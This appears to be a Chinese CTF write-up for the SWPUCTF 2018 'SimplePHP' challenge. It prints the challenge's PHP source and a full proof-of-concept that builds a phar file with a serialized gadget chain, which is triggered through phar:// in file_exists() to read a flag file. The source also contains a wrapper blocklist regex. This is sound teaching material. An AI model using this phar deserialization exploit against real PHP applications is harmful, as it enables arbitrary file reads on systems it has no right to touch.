[SWPUCTF 2018]SimplePHP phar反序列化&魔术方法__get(参数)，参数就是没有的那个变量&找准包含class.php的页面

首先先通过代码逻辑读取index.php的源码，然后根据include的代码和代码逻辑提供的几个页面，读取了几个文件的代码

class.php:

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 

这里说明一下，class.php是被包含在file.php中的，所以上传phar文件后，对file.php传参

file.php:

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
$show->source = $file; 
$show->_show(); 
} else if (!empty($file)){ 
die('file doesn\'t exists.'); 
} 
?>  

突破口是file_exists()函数，刚开始做的时候被后面的show类干扰了，后来发现后面的代码是文件上传正常的代码逻辑，调用_show()方法检验上传的文件是否合理。

file_exists($file)，$file传参写?$file=phar://poc.jpg  原来是poc.phar文件，后缀名怎么写都行

 

poc.php

<?php
class C1e4r
{
    public $test;
    public $str;

}

class Show
{
    public $source;
    public $str;
}

class Test
{
    public $file;
    public $params; 
}


$a=new  C1e4r();
$b=new Show();
$c=new Test();


$c->params['source']="/var/www/html/f1ag.php";
$b->str['str']=$c;
$a->str=$b;


$phar=new Phar("a.phar");
$phar->startBuffering();

$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");//前面的东西无所谓，后面必须是以<?php __HALT_COMPILER();?>结尾
$phar->setMetadata($a);
$phar->addFromString("a.txt","aaa");
$phar->stopBuffering();

?>

 

 

知识：

魔术方法__get($key)的参数就是本类没有的函数。